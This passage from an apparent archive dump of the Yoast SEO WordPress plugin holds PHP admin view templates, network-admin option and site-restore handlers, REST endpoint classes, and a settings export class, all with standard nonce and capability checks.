				sprintf( esc_html__( 'Help on: %s', 'wordpress-seo' ), esc_html( $integration->name ) ),
				$help_text
			);

			$name = $integration->name;
			if ( ! empty( $integration->premium ) && $integration->premium === true ) {
				$name .= ' ' . new Premium_Badge_Presenter( $integration->name );
			}

			if ( ! empty( $integration->new ) && $integration->new === true ) {
				$name .= ' ' . new Badge_Presenter( $integration->name );
			}

			$disabled            = $integration->disabled;
			$show_premium_upsell = false;
			$premium_upsell_url  = '';

			if ( $integration->premium === true && YoastSEO()->helpers->product->is_premium() === false ) {
				$disabled            = true;
				$show_premium_upsell = true;
				$premium_upsell_url  = WPSEO_Shortlinker::get( $integration->premium_upsell_url );
			}

			$preserve_disabled_value = false;
			if ( $disabled ) {
				$preserve_disabled_value = true;
			}

			$yform->toggle_switch(
				WPSEO_Option::ALLOW_KEY_PREFIX . $integration->setting,
				[
					'on'  => __( 'Allow Control', 'wordpress-seo' ),
					'off' => __( 'Disable', 'wordpress-seo' ),
				],
				$name,
				$feature_help->get_button_html() . $feature_help->get_panel_html(),
				[
					'disabled'                => $disabled,
					'preserve_disabled_value' => $preserve_disabled_value,
					'show_premium_upsell'     => $show_premium_upsell,
					'premium_upsell_url'      => $premium_upsell_url,
				]
			);

			do_action( 'Yoast\WP\SEO\admin_network_integration_after', $integration );
		}
		?>
	</div>
<?php
/*
 * Required to prevent our settings framework from saving the default because the field isn't
 * explicitly set when saving the Dashboard page.
 */
$yform->hidden( 'show_onboarding_notice', 'wpseo_show_onboarding_notice' );
wordpress-seo/admin/views/tabs/network/restore-site.php000064400000001637147510273100017374 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Views
 *
 * @uses Yoast_Form $yform Form object.
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

echo '<p>' . esc_html__( 'Using this form you can reset a site to the default SEO settings.', 'wordpress-seo' ) . '</p>';

if ( get_blog_count() <= 100 ) {
	$network_admin = new Yoast_Network_Admin();

	$yform->select(
		'site_id',
		__( 'Site ID', 'wordpress-seo' ),
		$network_admin->get_site_choices( false, true )
	);
}
else {
	$yform->textinput( 'site_id', __( 'Site ID', 'wordpress-seo' ) );
}

wp_nonce_field( 'wpseo-network-restore', 'restore_site_nonce', false );
echo '<button type="submit" name="action" value="' . esc_attr( Yoast_Network_Admin::RESTORE_SITE_ACTION ) . '" class="button button-primary">' . esc_html__( 'Restore site to defaults', 'wordpress-seo' ) . '</button>';
wordpress-seo/admin/views/tabs/network/crawl-settings.php000064400000003207147510273100017710 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Views
 *
 * @uses Yoast_Form $yform Form object.
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

$feature_toggles = Yoast_Feature_Toggles::instance()->get_all();

?>
<h2><?php esc_html_e( 'Crawl settings', 'wordpress-seo' ); ?></h2>
<div class="yoast-measure">
	<?php
	printf(
		/* translators: %s expands to Yoast SEO */
		esc_html__( 'This tab allows you to selectively disable %s features for all sites in the network. By default all features are enabled, which allows site admins to choose for themselves if they want to toggle a feature on or off for their site. When you disable a feature here, site admins will not be able to use that feature at all.', 'wordpress-seo' ),
		'Yoast SEO'
	);

	echo '<p style="margin: 0.5em 0 1em;">';
	printf(
		/* translators: %1$s opens the link to the Yoast.com article about Crawl settings, %2$s closes the link, */
		esc_html__( '%1$sLearn more about crawl settings.%2$s', 'wordpress-seo' ),
		'<a href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/crawl-settings' ) ) . '" target="_blank" rel="noopener noreferrer">',
		'</a>'
	);
	echo '</p>';

	/**
	 * Fires when displaying the crawl cleanup network tab.
	 *
	 * @param Yoast_Form $yform The yoast form object.
	 */
	do_action( 'wpseo_settings_tab_crawl_cleanup_network', $yform );
	?>
</div>
<?php
/*
 * Required to prevent our settings framework from saving the default because the field
 * isn't explicitly set when saving the Dashboard page.
 */
$yform->hidden( 'show_onboarding_notice', 'wpseo_show_onboarding_notice' );
wordpress-seo/admin/views/tabs/dashboard/dashboard.php000064400000002023147510273100017122 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Notifications template variables.
 *
 * @noinspection PhpUnusedLocalVariableInspection
 *
 * @var array
 */
$notifications_data = Yoast_Notifications::get_template_variables();

$wpseo_contributors_phrase = sprintf(
	/* translators: %1$s expands to Yoast SEO */
	__( 'See who contributed to %1$s.', 'wordpress-seo' ),
	'Yoast SEO'
);

?>

<div class="tab-block">
	<div class="yoast-notifications">

		<div class="yoast-container yoast-container__error">
			<?php require WPSEO_PATH . 'admin/views/partial-notifications-errors.php'; ?>
		</div>

		<div class="yoast-container yoast-container__warning">
			<?php require WPSEO_PATH . 'admin/views/partial-notifications-warnings.php'; ?>
		</div>

	</div>
</div>

<div class="tab-block">
	<h2><?php esc_html_e( 'Credits', 'wordpress-seo' ); ?></h2>
	<p>
		<a href="<?php WPSEO_Shortlinker::show( 'https://yoa.st/yoast-seo-credits' ); ?>" target="_blank"><?php echo esc_html( $wpseo_contributors_phrase ); ?></a>
	</p>
</div>
wordpress-seo/admin/views/tabs/dashboard/first-time-configuration.php000064400000000371147510273100022127 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Views
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

echo '<div id="wpseo-first-time-configuration"></div>';
wordpress-seo/admin/views/tabs/dashboard/site-analysis.php000064400000000653147510273100017767 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Views
 *
 * @uses Yoast_Form $yform Form object.
 */

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

/**
 * WARNING: This hook is intended for internal use only.
 * Don't use it in your code as it will be removed shortly.
 */
do_action( 'wpseo_settings_tab_site_analysis_internal', $yform );
wordpress-seo/admin/views/class-yoast-integration-toggles.php000064400000010606147510273100020546 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Class for managing integration toggles.
 */
class Yoast_Integration_Toggles {

	/**
	 * Available integration toggles.
	 *
	 * @var array
	 */
	protected $toggles;

	/**
	 * Instance holder.
	 *
	 * @var self|null
	 */
	protected static $instance = null;

	/**
	 * Gets the main integration toggles manager instance used.
	 *
	 * This essentially works like a Singleton, but for its drawbacks does not restrict
	 * instantiation otherwise.
	 *
	 * @return self Main instance.
	 */
	public static function instance() {
		if ( self::$instance === null ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Gets all available integration toggles.
	 *
	 * @return array List of sorted Yoast_Feature_Toggle instances.
	 */
	public function get_all() {
		if ( $this->toggles === null ) {
			$this->toggles = $this->load_toggles();
		}

		return $this->toggles;
	}

	/**
	 * Loads the available integration toggles.
	 *
	 * Also ensures that the toggles are all Yoast_Feature_Toggle instances and sorted by their order value.
	 *
	 * @return array List of sorted Yoast_Feature_Toggle instances.
	 */
	protected function load_toggles() {
		$integration_toggles = [
			(object) [
				/* translators: %s: 'Semrush' */
				'name'            => sprintf( __( '%s integration', 'wordpress-seo' ), 'Semrush' ),
				'setting'         => 'semrush_integration_active',
				'label'           => sprintf(
					/* translators: %s: 'Semrush' */
					__( 'The %s integration offers suggestions and insights for keywords related to the entered focus keyphrase.', 'wordpress-seo' ),
					'Semrush'
				),
				'order'           => 10,
			],
			(object) [
				/* translators: %s: Algolia. */
				'name'               => sprintf( esc_html__( '%s integration', 'wordpress-seo' ), 'Algolia' ),
				'premium'            => true,
				'setting'            => 'algolia_integration_active',
				'label'              => __( 'Improve the quality of your site search! Automatically helps your users find your cornerstone and most important content in your internal search results. It also removes noindexed posts & pages from your site’s search results.', 'wordpress-seo' ),
				/* translators: %s: Algolia. */
				'read_more_label'    => sprintf( __( 'Find out more about our %s integration.', 'wordpress-seo' ), 'Algolia' ),
				'read_more_url'      => 'https://yoa.st/4eu',
				'premium_url'        => 'https://yoa.st/4ex',
				'premium_upsell_url' => 'https://yoa.st/get-algolia-integration',
				'order'              => 25,
			],
		];

		/**
		 * Filter to add integration toggles from add-ons.
		 *
		 * @param array $integration_toggles Array with integration toggle objects where each object
		 *                                   should have a `name`, `setting` and `label` property.
		 */
		$integration_toggles = apply_filters( 'wpseo_integration_toggles', $integration_toggles );

		$integration_toggles = array_map( [ $this, 'ensure_toggle' ], $integration_toggles );
		usort( $integration_toggles, [ $this, 'sort_toggles_callback' ] );

		return $integration_toggles;
	}

	/**
	 * Ensures that the passed value is a Yoast_Feature_Toggle.
	 *
	 * @param Yoast_Feature_Toggle|object|array $toggle_data Feature toggle instance, or raw object or array
	 *                                                       containing integration toggle data.
	 * @return Yoast_Feature_Toggle Feature toggle instance based on $toggle_data.
	 */
	protected function ensure_toggle( $toggle_data ) {
		if ( $toggle_data instanceof Yoast_Feature_Toggle ) {
			return $toggle_data;
		}

		if ( is_object( $toggle_data ) ) {
			$toggle_data = get_object_vars( $toggle_data );
		}

		return new Yoast_Feature_Toggle( $toggle_data );
	}

	/**
	 * Callback for sorting integration toggles by their order.
	 *
	 * {@internal Once the minimum PHP version goes up to PHP 7.0, the logic in the function
	 * can be replaced with the spaceship operator `<=>`.}
	 *
	 * @param Yoast_Feature_Toggle $feature_a Feature A.
	 * @param Yoast_Feature_Toggle $feature_b Feature B.
	 *
	 * @return int An integer less than, equal to, or greater than zero indicating respectively
	 *             that feature A is considered to be less than, equal to, or greater than feature B.
	 */
	protected function sort_toggles_callback( Yoast_Feature_Toggle $feature_a, Yoast_Feature_Toggle $feature_b ) {
		return ( $feature_a->order - $feature_b->order );
	}
}
wordpress-seo/admin/views/partial-notifications-warnings.php000064400000002101147510273100020441 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 *
 * @uses    array $notifications_data
 */

$yoast_seo_type     = 'warnings';
$yoast_seo_dashicon = 'flag';

$yoast_seo_active    = $notifications_data['warnings']['active'];
$yoast_seo_dismissed = $notifications_data['warnings']['dismissed'];

$yoast_seo_active_total    = count( $notifications_data['warnings']['active'] );
$yoast_seo_dismissed_total = count( $notifications_data['warnings']['dismissed'] );
$yoast_seo_total           = $notifications_data['metrics']['warnings'];

$yoast_seo_i18n_title              = __( 'Notifications', 'wordpress-seo' );
$yoast_seo_i18n_issues             = '';
$yoast_seo_i18n_no_issues          = __( 'No new notifications.', 'wordpress-seo' );
$yoast_seo_i18n_muted_issues_title = sprintf(
	/* translators: %d expands the amount of hidden notifications. */
	_n( 'You have %d hidden notification:', 'You have %d hidden notifications:', $yoast_seo_dismissed_total, 'wordpress-seo' ),
	$yoast_seo_dismissed_total
);

require WPSEO_PATH . 'admin/views/partial-notifications-template.php';
wordpress-seo/admin/endpoints/class-endpoint-statistics.php000064400000003167147510273100020306 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Statistics
 */

/**
 * Represents an implementation of the WPSEO_Endpoint interface to register one or multiple endpoints.
 */
class WPSEO_Endpoint_Statistics implements WPSEO_Endpoint {

	/**
	 * The namespace of the REST route.
	 *
	 * @var string
	 */
	public const REST_NAMESPACE = 'yoast/v1';

	/**
	 * The route of the statistics endpoint.
	 *
	 * @var string
	 */
	public const ENDPOINT_RETRIEVE = 'statistics';

	/**
	 * The name of the capability needed to retrieve data using the endpoints.
	 *
	 * @var string
	 */
	public const CAPABILITY_RETRIEVE = 'read';

	/**
	 * Service to use.
	 *
	 * @var WPSEO_Statistics_Service
	 */
	protected $service;

	/**
	 * Constructs the WPSEO_Endpoint_Statistics class and sets the service to use.
	 *
	 * @param WPSEO_Statistics_Service $service Service to use.
	 */
	public function __construct( WPSEO_Statistics_Service $service ) {
		$this->service = $service;
	}

	/**
	 * Registers the REST routes that are available on the endpoint.
	 *
	 * @return void
	 */
	public function register() {
		// Register fetch config.
		$route_args = [
			'methods'             => 'GET',
			'callback'            => [ $this->service, 'get_statistics' ],
			'permission_callback' => [ $this, 'can_retrieve_data' ],
		];
		register_rest_route( self::REST_NAMESPACE, self::ENDPOINT_RETRIEVE, $route_args );
	}

	/**
	 * Determines whether or not data can be retrieved for the registered endpoints.
	 *
	 * @return bool Whether or not data can be retrieved.
	 */
	public function can_retrieve_data() {
		return current_user_can( self::CAPABILITY_RETRIEVE );
	}
}
wordpress-seo/admin/endpoints/class-endpoint.php000064400000000727147510273100016115 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Endpoints
 */

/**
 * Dictates the required methods for an Endpoint implementation.
 */
interface WPSEO_Endpoint {

	/**
	 * Registers the routes for the endpoints.
	 *
	 * @return void
	 */
	public function register();

	/**
	 * Determines whether or not data can be retrieved for the registered endpoints.
	 *
	 * @return bool Whether or not data can be retrieved.
	 */
	public function can_retrieve_data();
}
wordpress-seo/admin/endpoints/class-endpoint-file-size.php000064400000003341147510273100017775 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Endpoints
 */

/**
 * Represents an implementation of the WPSEO_Endpoint interface to register one or multiple endpoints.
 */
class WPSEO_Endpoint_File_Size implements WPSEO_Endpoint {

	/**
	 * The namespace of the REST route.
	 *
	 * @var string
	 */
	public const REST_NAMESPACE = 'yoast/v1';

	/**
	 * The route of the endpoint to retrieve the file size.
	 *
	 * @var string
	 */
	public const ENDPOINT_SINGULAR = 'file_size';

	/**
	 * The name of the capability needed to retrieve data using the endpoints.
	 *
	 * @var string
	 */
	public const CAPABILITY_RETRIEVE = 'manage_options';

	/**
	 * The service provider.
	 *
	 * @var WPSEO_File_Size_Service
	 */
	private $service;

	/**
	 * Sets the service provider.
	 *
	 * @param WPSEO_File_Size_Service $service The service provider.
	 */
	public function __construct( WPSEO_File_Size_Service $service ) {
		$this->service = $service;
	}

	/**
	 * Registers the routes for the endpoints.
	 *
	 * @return void
	 */
	public function register() {
		$route_args = [
			'methods'             => 'GET',
			'args'                => [
				'url' => [
					'required'    => true,
					'type'        => 'string',
					'description' => 'The url to retrieve',
				],
			],
			'callback'            => [
				$this->service,
				'get',
			],
			'permission_callback' => [
				$this,
				'can_retrieve_data',
			],
		];
		register_rest_route( self::REST_NAMESPACE, self::ENDPOINT_SINGULAR, $route_args );
	}

	/**
	 * Determines whether or not data can be retrieved for the registered endpoints.
	 *
	 * @return bool Whether or not data can be retrieved.
	 */
	public function can_retrieve_data() {
		return current_user_can( self::CAPABILITY_RETRIEVE );
	}
}
wordpress-seo/admin/class-yoast-network-admin.php000064400000023740147510273100016206 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internals
 */

/**
 * Multisite utility class for network admin functionality.
 */
class Yoast_Network_Admin implements WPSEO_WordPress_AJAX_Integration, WPSEO_WordPress_Integration {

	/**
	 * Action identifier for updating plugin network options.
	 *
	 * @var string
	 */
	public const UPDATE_OPTIONS_ACTION = 'yoast_handle_network_options';

	/**
	 * Action identifier for restoring a site.
	 *
	 * @var string
	 */
	public const RESTORE_SITE_ACTION = 'yoast_restore_site';

	/**
	 * Gets the available sites as choices, e.g. for a dropdown.
	 *
	 * @param bool $include_empty Optional. Whether to include an initial placeholder choice.
	 *                            Default false.
	 * @param bool $show_title    Optional. Whether to show the title for each site. This requires
	 *                            switching through the sites, so has performance implications for
	 *                            sites that do not use a persistent cache.
	 *                            Default false.
	 *
	 * @return array Choices as $site_id => $site_label pairs.
	 */
	public function get_site_choices( $include_empty = false, $show_title = false ) {
		$choices = [];

		if ( $include_empty ) {
			$choices['-'] = __( 'None', 'wordpress-seo' );
		}

		$criteria = [
			'deleted'    => 0,
			'network_id' => get_current_network_id(),
		];
		$sites    = get_sites( $criteria );

		foreach ( $sites as $site ) {
			$site_name = $site->domain . $site->path;
			if ( $show_title ) {
				$site_name = $site->blogname . ' (' . $site->domain . $site->path . ')';
			}
			$choices[ $site->blog_id ] = $site->blog_id . ': ' . $site_name;

			$site_states = $this->get_site_states( $site );
			if ( ! empty( $site_states ) ) {
				$choices[ $site->blog_id ] .= ' [' . implode( ', ', $site_states ) . ']';
			}
		}

		return $choices;
	}

	/**
	 * Gets the states of a site.
	 *
	 * @param WP_Site $site Site object.
	 *
	 * @return array Array of $state_slug => $state_label pairs.
	 */
	public function get_site_states( $site ) {
		$available_states = [
			'public'   => __( 'public', 'wordpress-seo' ),
			'archived' => __( 'archived', 'wordpress-seo' ),
			'mature'   => __( 'mature', 'wordpress-seo' ),
			'spam'     => __( 'spam', 'wordpress-seo' ),
			'deleted'  => __( 'deleted', 'wordpress-seo' ),
		];

		$site_states = [];
		foreach ( $available_states as $state_slug => $state_label ) {
			if ( $site->$state_slug === '1' ) {
				$site_states[ $state_slug ] = $state_label;
			}
		}

		return $site_states;
	}

	/**
	 * Handles a request to update plugin network options.
	 *
	 * This method works similar to how option updates are handled in `wp-admin/options.php` and
	 * `wp-admin/network/settings.php`.
	 *
	 * @return void
	 */
	public function handle_update_options_request() {
		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: Nonce verification will happen in verify_request below.
		if ( ! isset( $_POST['network_option_group'] ) || ! is_string( $_POST['network_option_group'] ) ) {
			return;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: Nonce verification will happen in verify_request below.
		$option_group = sanitize_text_field( wp_unslash( $_POST['network_option_group'] ) );

		if ( empty( $option_group ) ) {
			return;
		}

		$this->verify_request( "{$option_group}-network-options" );

		$whitelist_options = Yoast_Network_Settings_API::get()->get_whitelist_options( $option_group );

		if ( empty( $whitelist_options ) ) {
			add_settings_error( $option_group, 'settings_updated', __( 'You are not allowed to modify unregistered network settings.', 'wordpress-seo' ), 'error' );

			$this->terminate_request();
			return;
		}

		// phpcs:disable WordPress.Security.NonceVerification -- Nonce verified via `verify_request()` above.
		foreach ( $whitelist_options as $option_name ) {
			$value = null;
			if ( isset( $_POST[ $option_name ] ) ) {
				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: Adding sanitize_text_field around this will break the saving of settings because it expects a string: https://github.com/Yoast/wordpress-seo/issues/12440.
				$value = wp_unslash( $_POST[ $option_name ] );
			}

			WPSEO_Options::update_site_option( $option_name, $value );
		}
		// phpcs:enable WordPress.Security.NonceVerification

		$settings_errors = get_settings_errors();
		if ( empty( $settings_errors ) ) {
			add_settings_error( $option_group, 'settings_updated', __( 'Settings Updated.', 'wordpress-seo' ), 'updated' );
		}

		$this->terminate_request();
	}

	/**
	 * Handles a request to restore a site's default settings.
	 *
	 * @return void
	 */
	public function handle_restore_site_request() {
		$this->verify_request( 'wpseo-network-restore', 'restore_site_nonce' );

		$option_group = 'wpseo_ms';

		// phpcs:ignore WordPress.Security.NonceVerification -- Nonce verified via `verify_request()` above.
		$site_id = ! empty( $_POST[ $option_group ]['site_id'] ) ? (int) $_POST[ $option_group ]['site_id'] : 0;
		if ( ! $site_id ) {
			add_settings_error( $option_group, 'settings_updated', __( 'No site has been selected to restore.', 'wordpress-seo' ), 'error' );

			$this->terminate_request();
			return;
		}

		$site = get_site( $site_id );
		if ( ! $site ) {
			/* translators: %s expands to the ID of a site within a multisite network. */
			add_settings_error( $option_group, 'settings_updated', sprintf( __( 'Site with ID %d not found.', 'wordpress-seo' ), $site_id ), 'error' );
		}
		else {
			WPSEO_Options::reset_ms_blog( $site_id );

			/* translators: %s expands to the name of a site within a multisite network. */
			add_settings_error( $option_group, 'settings_updated', sprintf( __( '%s restored to default SEO settings.', 'wordpress-seo' ), esc_html( $site->blogname ) ), 'updated' );
		}

		$this->terminate_request();
	}

	/**
	 * Outputs nonce, action and option group fields for a network settings page in the plugin.
	 *
	 * @param string $option_group Option group name for the current page.
	 *
	 * @return void
	 */
	public function settings_fields( $option_group ) {
		?>
		<input type="hidden" name="network_option_group" value="<?php echo esc_attr( $option_group ); ?>" />
		<input type="hidden" name="action" value="<?php echo esc_attr( self::UPDATE_OPTIONS_ACTION ); ?>" />
		<?php
		wp_nonce_field( "$option_group-network-options" );
	}

	/**
	 * Enqueues network admin assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_script( 'network-admin' );

		$translations = [
			/* translators: %s: success message */
			'success_prefix' => __( 'Success: %s', 'wordpress-seo' ),
			/* translators: %s: error message */
			'error_prefix'   => __( 'Error: %s', 'wordpress-seo' ),
		];
		$asset_manager->localize_script(
			'network-admin',
			'wpseoNetworkAdminGlobalL10n',
			$translations
		);
	}

	/**
	 * Hooks in the necessary actions and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {

		if ( ! $this->meets_requirements() ) {
			return;
		}

		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );

		add_action( 'admin_action_' . self::UPDATE_OPTIONS_ACTION, [ $this, 'handle_update_options_request' ] );
		add_action( 'admin_action_' . self::RESTORE_SITE_ACTION, [ $this, 'handle_restore_site_request' ] );
	}

	/**
	 * Hooks in the necessary AJAX actions.
	 *
	 * @return void
	 */
	public function register_ajax_hooks() {
		add_action( 'wp_ajax_' . self::UPDATE_OPTIONS_ACTION, [ $this, 'handle_update_options_request' ] );
		add_action( 'wp_ajax_' . self::RESTORE_SITE_ACTION, [ $this, 'handle_restore_site_request' ] );
	}

	/**
	 * Checks whether the requirements to use this class are met.
	 *
	 * @return bool True if requirements are met, false otherwise.
	 */
	public function meets_requirements() {
		return is_multisite() && is_network_admin();
	}

	/**
	 * Verifies that the current request is valid.
	 *
	 * @param string $action    Nonce action.
	 * @param string $query_arg Optional. Nonce query argument. Default '_wpnonce'.
	 *
	 * @return void
	 */
	public function verify_request( $action, $query_arg = '_wpnonce' ) {
		$has_access = current_user_can( 'wpseo_manage_network_options' );

		if ( wp_doing_ajax() ) {
			check_ajax_referer( $action, $query_arg );

			if ( ! $has_access ) {
				wp_die( -1, 403 );
			}
			return;
		}

		check_admin_referer( $action, $query_arg );

		if ( ! $has_access ) {
			wp_die( esc_html__( 'You are not allowed to perform this action.', 'wordpress-seo' ) );
		}
	}

	/**
	 * Terminates the current request by either redirecting back or sending an AJAX response.
	 *
	 * @return void
	 */
	public function terminate_request() {
		if ( wp_doing_ajax() ) {
			$settings_errors = get_settings_errors();

			if ( ! empty( $settings_errors ) && $settings_errors[0]['type'] === 'updated' ) {
				wp_send_json_success( $settings_errors, 200 );
			}

			wp_send_json_error( $settings_errors, 400 );
		}

		$this->persist_settings_errors();
		$this->redirect_back( [ 'settings-updated' => 'true' ] );
	}

	/**
	 * Persists settings errors.
	 *
	 * Settings errors are stored in a transient for 30 seconds so that this transient
	 * can be retrieved on the next page load.
	 *
	 * @return void
	 */
	protected function persist_settings_errors() {
		/*
		 * A regular transient is used here, since it is automatically cleared right after the redirect.
		 * A network transient would be cleaner, but would require a lot of copied code from core for
		 * just a minor adjustment when displaying settings errors.
		 */
		set_transient( 'settings_errors', get_settings_errors(), 30 );
	}

	/**
	 * Redirects back to the referer URL, with optional query arguments.
	 *
	 * @param array $query_args Optional. Query arguments to add to the redirect URL. Default none.
	 *
	 * @return void
	 */
	protected function redirect_back( $query_args = [] ) {
		$sendback = wp_get_referer();

		if ( ! empty( $query_args ) ) {
			$sendback = add_query_arg( $query_args, $sendback );
		}

		wp_safe_redirect( $sendback );
		exit;
	}
}
wordpress-seo/admin/class-export.php000064400000006725147510273100013617 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Export
 */

/**
 * Class WPSEO_Export.
 *
 * Class with functionality to export the WP SEO settings.
 */
class WPSEO_Export {

	/**
	 * Holds the nonce action.
	 *
	 * @var string
	 */
	public const NONCE_ACTION = 'wpseo_export';

	/**
	 * Holds the export data.
	 *
	 * @var string
	 */
	private $export = '';

	/**
	 * Holds whether the export was a success.
	 *
	 * @var bool
	 */
	public $success;

	/**
	 * Handles the export request.
	 *
	 * @return void
	 */
	public function export() {
		check_admin_referer( self::NONCE_ACTION );
		$this->export_settings();
		$this->output();
	}

	/**
	 * Outputs the export.
	 *
	 * @return void
	 */
	public function output() {
		if ( ! WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' ) ) {
			esc_html_e( 'You do not have the required rights to export settings.', 'wordpress-seo' );
			return;
		}

		echo '<p id="wpseo-settings-export-desc">';
		printf(
			/* translators: %1$s expands to Import settings */
			esc_html__(
				'Copy all these settings to another site\'s %1$s tab and click "%1$s" there.',
				'wordpress-seo'
			),
			esc_html__(
				'Import settings',
				'wordpress-seo'
			)
		);
		echo '</p>';
		/* translators: %1$s expands to Yoast SEO */
		echo '<label for="wpseo-settings-export" class="yoast-inline-label">' . sprintf( __( 'Your %1$s settings:', 'wordpress-seo' ), 'Yoast SEO' ) . '</label><br />';
		echo '<textarea id="wpseo-settings-export" rows="20" cols="100" aria-describedby="wpseo-settings-export-desc">' . esc_textarea( $this->export ) . '</textarea>';
	}

	/**
	 * Exports the current site's WP SEO settings.
	 *
	 * @return void
	 */
	private function export_settings() {
		$this->export_header();

		foreach ( WPSEO_Options::get_option_names() as $opt_group ) {
			$this->write_opt_group( $opt_group );
		}
	}

	/**
	 * Writes the header of the export.
	 *
	 * @return void
	 */
	private function export_header() {
		$header = sprintf(
			/* translators: %1$s expands to Yoast SEO, %2$s expands to Yoast.com */
			esc_html__( 'These are settings for the %1$s plugin by %2$s', 'wordpress-seo' ),
			'Yoast SEO',
			'Yoast.com'
		);
		$this->write_line( '; ' . $header );
	}

	/**
	 * Writes a line to the export.
	 *
	 * @param string $line          Line string.
	 * @param bool   $newline_first Boolean flag whether to prepend with new line.
	 *
	 * @return void
	 */
	private function write_line( $line, $newline_first = false ) {
		if ( $newline_first ) {
			$this->export .= PHP_EOL;
		}
		$this->export .= $line . PHP_EOL;
	}

	/**
	 * Writes an entire option group to the export.
	 *
	 * @param string $opt_group Option group name.
	 *
	 * @return void
	 */
	private function write_opt_group( $opt_group ) {

		$this->write_line( '[' . $opt_group . ']', true );

		$options = get_option( $opt_group );

		if ( ! is_array( $options ) ) {
			return;
		}

		foreach ( $options as $key => $elem ) {
			if ( is_array( $elem ) ) {
				$count = count( $elem );
				for ( $i = 0; $i < $count; $i++ ) {
					$elem_check = ( $elem[ $i ] ?? null );
					$this->write_setting( $key . '[]', $elem_check );
				}
			}
			else {
				$this->write_setting( $key, $elem );
			}
		}
	}

	/**
	 * Writes a settings line to the export.
	 *
	 * @param string $key Key string.
	 * @param string $val Value string.
	 *
	 * @return void
	 */
	private function write_setting( $key, $val ) {
		if ( is_string( $val ) ) {
			$val = '"' . $val . '"';
		}
		$this->write_line( $key . ' = ' . $val );
	}
}
wordpress-seo/admin/menu/class-submenu-capability-normalize.php000064400000001770147510273100021030 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Menu
 */

/**
 * Normalize submenu capabilities to `wpseo_manage_options`.
 */
class WPSEO_Submenu_Capability_Normalize implements WPSEO_WordPress_Integration {

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_filter( 'wpseo_submenu_pages', [ $this, 'normalize_submenus_capability' ] );
	}

	/**
	 * Normalizes any `manage_options` to `wpseo_manage_options`.
	 *
	 * This is needed as the module plugins are not updated with the new capabilities directly,
	 * but they should not be shown as main menu items.
	 *
	 * @param array $submenu_pages List of subpages to convert.
	 *
	 * @return array Converted subpages.
	 */
	public function normalize_submenus_capability( $submenu_pages ) {
		foreach ( $submenu_pages as $index => $submenu_page ) {
			if ( $submenu_page[3] === 'manage_options' ) {
				$submenu_pages[ $index ][3] = 'wpseo_manage_options';
			}
		}

		return $submenu_pages;
	}
}
wordpress-seo/admin/menu/class-replacevar-editor.php000064400000013702147510273100016643 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Menu
 */

/**
 * Renders a replacement variable editor.
 */
class WPSEO_Replacevar_Editor {

	/**
	 * Yoast Forms instance.
	 *
	 * @var Yoast_Form
	 */
	private $yform;

	/**
	 * The arguments required for the div to render.
	 *
	 * @var array {
	 *      @type string $title                   The title field id.
	 *      @type string $description             The description field id.
	 *      @type string $page_type_recommended   The page type for the context of the recommended replace vars.
	 *      @type string $page_type_specific      The page type for the context of the editor specific replace vars.
	 *      @type bool   $paper_style             Optional. Whether the editor has paper style.
	 *      @type string $label_title             Optional. The label to use for the title field.
	 *      @type string $label_description       Optional. The label to use for the description field.
	 *      @type string $description_placeholder Optional. The placeholder text to use for the description field.
	 *      @type bool   $has_new_badge           Optional. Whether to show the "New" badge.
	 *      @type bool   $has_premium_badge       Optional. Whether to show the "Premium" badge.
	 * }
	 */
	private $arguments;

	/**
	 * Constructs the object.
	 *
	 * @param Yoast_Form $yform     Yoast forms.
	 * @param array      $arguments {
	 *      The arguments that can be given.
	 *
	 *      @type string $title                   The title field id.
	 *      @type string $description             The description field id.
	 *      @type string $page_type_recommended   The page type for the context of the recommended replace vars.
	 *      @type string $page_type_specific      The page type for the context of the editor specific replace vars.
	 *      @type bool   $paper_style             Optional. Whether the editor has paper style.
	 *      @type string $label_title             Optional. The label to use for the title field.
	 *      @type string $label_description       Optional. The label to use for the description field.
	 *      @type string $description_placeholder Optional. The placeholder text to use for the description field.
	 *      @type bool   $has_new_badge           Optional. Whether to show the "New" badge.
	 *      @type bool   $has_premium_badge       Optional. Whether to show the "Premium" badge.
	 * }
	 */
	public function __construct( Yoast_Form $yform, $arguments ) {
		$arguments = wp_parse_args(
